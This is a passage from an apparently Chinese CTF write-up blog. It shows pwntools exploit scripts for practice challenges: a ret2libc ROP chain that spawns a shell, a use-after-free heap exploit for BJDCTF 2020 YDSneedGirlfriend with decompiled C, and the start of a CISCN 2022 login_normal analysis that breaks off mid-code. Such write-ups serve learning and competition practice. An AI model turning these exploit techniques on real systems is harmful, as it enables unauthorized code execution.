class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> LibcSearcher <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_sb</span>() : <span class="keyword">return</span> libc_base + <span class="number">0x4f440</span>, libc_base + <span class="number">0x1b3e9a</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node5.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">24787</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">libc = ELF(<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span>)</span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line"></span><br><span class="line">offset = <span class="number">0x50</span> + <span class="number">8</span></span><br><span class="line"></span><br><span class="line">sl(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">payload = flat([cyclic(offset),rdi,elf.got[<span class="string">&#x27;puts&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>],rdi,elf.got[<span class="string">&#x27;gets&#x27;</span>],elf.plt[<span class="string">&#x27;puts&#x27;</span>],<span class="number">0x0000000004009A0</span>])</span><br><span class="line">r()</span><br><span class="line">sl(payload)</span><br><span class="line">get_addr()</span><br><span class="line">puts_addr = get_addr()</span><br><span class="line">gets_addr = get_addr()</span><br><span class="line">info(<span class="string">&quot;puts addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(puts_addr))</span><br><span class="line">info(<span class="string">&quot;gets addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(gets_addr))</span><br><span class="line"></span><br><span class="line">libc_base = puts_addr - <span class="number">0x809c0</span></span><br><span class="line">system,<span class="built_in">bin</span> = get_sb()</span><br><span class="line">payload = flat([cyclic(offset),rdi,<span class="built_in">bin</span>,system])</span><br><span class="line">sl(payload)</span><br><span class="line">inter()</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="BJDCTF-2020-YDSneedGirlfriend"><a href="#BJDCTF-2020-YDSneedGirlfriend" class="headerlink" title="[BJDCTF 2020]YDSneedGirlfriend"></a>[BJDCTF 2020]YDSneedGirlfriend</h3><p>尝试运行</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">YDS need a grilfriend!,can u <span class="built_in">help</span> him?</span><br><span class="line">------------------------</span><br><span class="line"> 1. Add a girlfriend  </span><br><span class="line"> 2. Delete a girlfriend </span><br><span class="line"> 3. show her name     </span><br><span class="line"> 4. give up           </span><br><span class="line">------------------------</span><br><span class="line">Your choice :</span><br></pre></td></tr></table></figure><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> __fastcall __noreturn <span class="title function_">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  myinit(argc, argv, envp);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      menu();</span><br><span class="line">      read(<span class="number">0</span>, buf, <span class="number">4uLL</span>);</span><br><span class="line">      v3 = atoi(buf);</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      del_girlfriend();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">2</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">3</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        print_girlfriend();</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( v3 == <span class="number">4</span> )</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">LABEL_13:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Invalid choice&quot;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">1</span> )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_13;</span><br><span class="line">      add_girlfriend();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>当他等于2的时候删除</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">del_girlfriend</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4uLL</span>);</span><br><span class="line">  v1 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &gt;= <span class="number">0</span> &amp;&amp; v1 &lt; count )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( *(&amp;girlfriendlist + v1) )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="built_in">free</span>(*((<span class="type">void</span> **)*(&amp;girlfriendlist + v1) + <span class="number">1</span>));</span><br><span class="line">      <span class="built_in">free</span>(*(&amp;girlfriendlist + v1));</span><br><span class="line">      <span class="built_in">puts</span>(<span class="string">&quot;Success&quot;</span>);<span class="comment">//存在double free</span></span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>输入3的时候输出</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">print_girlfriend</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> v1; <span class="comment">// [rsp+Ch] [rbp-14h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v3; <span class="comment">// [rsp+18h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v3 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Index :&quot;</span>);</span><br><span class="line">  read(<span class="number">0</span>, buf, <span class="number">4uLL</span>);</span><br><span class="line">  v1 = atoi(buf);</span><br><span class="line">  <span class="keyword">if</span> ( v1 &gt;= <span class="number">0</span> &amp;&amp; v1 &lt; count )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">if</span> ( *(&amp;girlfriendlist + v1) )</span><br><span class="line">      (*(<span class="type">void</span> (__fastcall **)(_QWORD))*(&amp;girlfriendlist + v1))(*(&amp;girlfriendlist + v1));</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Out of bound!&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v3;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>不为空的时候调用了函数指针</p><p>为1的时候添加</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 <span class="title function_">add_girlfriend</span><span class="params">()</span></span><br><span class="line">&#123;</span><br><span class="line">  __int64 v0; <span class="comment">// rbx</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+8h] [rbp-28h]</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [rsp+Ch] [rbp-24h]</span></span><br><span class="line">  <span class="type">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+10h] [rbp-20h] BYREF</span></span><br><span class="line">  <span class="type">unsigned</span> __int64 v5; <span class="comment">// [rsp+18h] [rbp-18h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  <span class="keyword">if</span> ( count &lt;= <span class="number">10</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">0</span>; i &lt;= <span class="number">9</span>; ++i )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( !*(&amp;girlfriendlist + i) )</span><br><span class="line">      &#123;</span><br><span class="line">        *(&amp;girlfriendlist + i) = <span class="built_in">malloc</span>(<span class="number">0x10</span>uLL);</span><br><span class="line">        <span class="keyword">if</span> ( !*(&amp;girlfriendlist + i) )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;Alloca Error&quot;</span>);</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        *(_QWORD *)*(&amp;girlfriendlist + i) = print_girlfriend_name;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Her name size is :&quot;</span>);</span><br><span class="line">        read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">        v3 = atoi(buf);</span><br><span class="line">        v0 = (__int64)*(&amp;girlfriendlist + i);</span><br><span class="line">        *(_QWORD *)(v0 + <span class="number">8</span>) = <span class="built_in">malloc</span>(v3);</span><br><span class="line">        <span class="keyword">if</span> ( !*((_QWORD *)*(&amp;girlfriendlist + i) + <span class="number">1</span>) )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;Alloca Error&quot;</span>);</span><br><span class="line">          <span class="built_in">exit</span>(<span class="number">-1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="built_in">printf</span>(<span class="string">&quot;Her name is :&quot;</span>);</span><br><span class="line">        read(<span class="number">0</span>, *((<span class="type">void</span> **)*(&amp;girlfriendlist + i) + <span class="number">1</span>), v3);</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Success !Wow YDS get a girlfriend!&quot;</span>);</span><br><span class="line">        ++count;</span><br><span class="line">        <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v5;</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="built_in">puts</span>(<span class="string">&quot;Full&quot;</span>);</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> __readfsqword(<span class="number">0x28</span>u) ^ v5;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>所以我们添加两个大于0x20的name的chunk，然后进行free，这时候我们有两个0x10的堆块被释放了，我们添加一个0x10的name的chunk就可控制index为0的函数指针，然后print调用他</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> struct <span class="keyword">import</span> pack</span><br><span class="line"><span class="keyword">from</span> ctypes <span class="keyword">import</span> *</span><br><span class="line"><span class="comment"># from LibcSearcher import *</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">s</span>(<span class="params">a</span>) : p.send(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sa</span>(<span class="params">a, b</span>) : p.sendafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sl</span>(<span class="params">a</span>) : p.sendline(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">sla</span>(<span class="params">a, b</span>) : p.sendlineafter(a, b)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">r</span>() : <span class="keyword">return</span> p.recv()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">pr</span>() : <span class="built_in">print</span>(p.recv())</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">rl</span>(<span class="params">a</span>) : <span class="keyword">return</span> p.recvuntil(a)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">inter</span>() : p.interactive()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>():</span><br><span class="line">    gdb.attach(p)</span><br><span class="line">    pause()</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_addr</span>() : <span class="keyword">return</span> u64(p.recvuntil(<span class="string">b&#x27;\x7f&#x27;</span>)[-<span class="number">6</span>:].ljust(<span class="number">8</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line"><span class="comment"># def get_sb() : return libc_base + libc.sym[&#x27;system&#x27;], libc_base + next(libc.search(b&#x27;/bin/sh\x00&#x27;))</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">csu</span>(<span class="params">rdi, rsi, rdx, rip, gadget</span>) : <span class="keyword">return</span> p64(gadget) + p64(<span class="number">0</span>) + p64(<span class="number">1</span>) + p64(rip) + p64(rdi) + p64(rsi) + p64(rdx) + p64(gadget - <span class="number">0x1a</span>)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">get_32_addr</span>():<span class="keyword">return</span> u32(p.recvuntil(<span class="string">b&#x27;\xf7&#x27;</span>)[-<span class="number">4</span>:].ljust(<span class="number">4</span>, <span class="string">b&#x27;\x00&#x27;</span>))</span><br><span class="line">context(os=<span class="string">&#x27;linux&#x27;</span>, arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;DEBUG&#x27;</span>]:</span><br><span class="line">    context.log_level = <span class="string">&#x27;debug&#x27;</span></span><br><span class="line">context.terminal = [<span class="string">&#x27;tmux&#x27;</span>, <span class="string">&#x27;splitw&#x27;</span>,<span class="string">&#x27;-h&#x27;</span>]</span><br><span class="line"><span class="keyword">if</span> args[<span class="string">&#x27;REMOTE&#x27;</span>]:</span><br><span class="line">    ip = <span class="string">&quot;node4.anna.nssctf.cn&quot;</span></span><br><span class="line">    port = <span class="number">28267</span></span><br><span class="line">    p = remote(ip, port)</span><br><span class="line"><span class="keyword">else</span>:</span><br><span class="line">    p = process(<span class="string">&#x27;./pwn&#x27;</span>)</span><br><span class="line">    info(<span class="string">&quot;pid: &#123;&#125;&quot;</span>.<span class="built_in">format</span>(p.pid))</span><br><span class="line">elf = ELF(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line"><span class="comment">#libc = ELF(&#x27;./libc-2.23-x64.so&#x27;)</span></span><br><span class="line"><span class="comment"># clibc = cdll.LoadLibrary(&quot;/lib/x86_64-linux-gnu/libc.so.6&quot;)</span></span><br><span class="line">rop = ROP(<span class="string">&quot;./pwn&quot;</span>)</span><br><span class="line">ret = rop.find_gadget([<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">rdi = rop.find_gadget([<span class="string">&#x27;pop rdi&#x27;</span>,<span class="string">&#x27;ret&#x27;</span>])[<span class="number">0</span>]</span><br><span class="line">info(<span class="string">&quot;ret addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(ret))</span><br><span class="line">info(<span class="string">&quot;rdi addr : &#123;:#x&#125;&quot;</span>.<span class="built_in">format</span>(rdi))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">choice</span>(<span class="params">i</span>):</span><br><span class="line">    sla(<span class="string">b&quot;Your choice :&quot;</span>,<span class="built_in">str</span>(i))</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">size,content</span>):</span><br><span class="line">    choice(<span class="number">1</span>)</span><br><span class="line">    sla(<span class="string">b&quot;Her name size is :&quot;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">    sla(<span class="string">b&quot;Her name is :&quot;</span>,content)</span><br><span class="line"><span class="keyword">def</span> <span class="title function_">delete</span>(<span class="params">idx</span>):</span><br><span class="line">    choice(<span class="number">2</span>)</span><br><span class="line">    sla(<span class="string">b&quot;Index :&quot;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line">add(<span class="number">0x40</span>,<span class="string">&quot;aaa&quot;</span>)</span><br><span class="line">add(<span class="number">0x40</span>,<span class="string">&quot;aaa&quot;</span>)</span><br><span class="line">add(<span class="number">0x10</span>,<span class="string">&quot;aaa&quot;</span>)</span><br><span class="line">delete(<span class="number">0</span>)</span><br><span class="line">delete(<span class="number">1</span>)</span><br><span class="line">add(<span class="number">0x10</span>,p64(elf.sym[<span class="string">&#x27;backdoor&#x27;</span>]))</span><br><span class="line">choice(<span class="number">3</span>)</span><br><span class="line">sla(<span class="string">b&quot;Index :&quot;</span>,<span class="built_in">str</span>(<span class="number">0</span>))</span><br><span class="line"></span><br><span class="line">inter()</span><br></pre></td></tr></table></figure><h3 id="CISCN-2022-初赛-login-normal"><a href="#CISCN-2022-初赛-login-normal" class="headerlink" title="[CISCN 2022 初赛]login_normal"></a>[CISCN 2022 初赛]login_normal</h3><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[*] <span class="string">&#x27;/home/pwn/pwn/nssctf/11.11/CISCN_2022_初赛_login_normal/pwn&#x27;</span></span><br><span class="line">    Arch:       amd64-64-little</span><br><span class="line">    RELRO:      Full RELRO</span><br><span class="line">    Stack:      Canary found</span><br><span class="line">    NX:         NX enabled</span><br><span class="line">    PIE:        PIE enabled</span><br></pre></td></tr></table></figure><p>防御全开的一个题目</p><p>逆向一下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">unsigned</span> __int64 __fastcall <span class="title function_">sub_FFD</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *a1)</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *sa; <span class="comment">// [rsp+8h] [rbp-48h]</span></span><br><span class="line">  <span 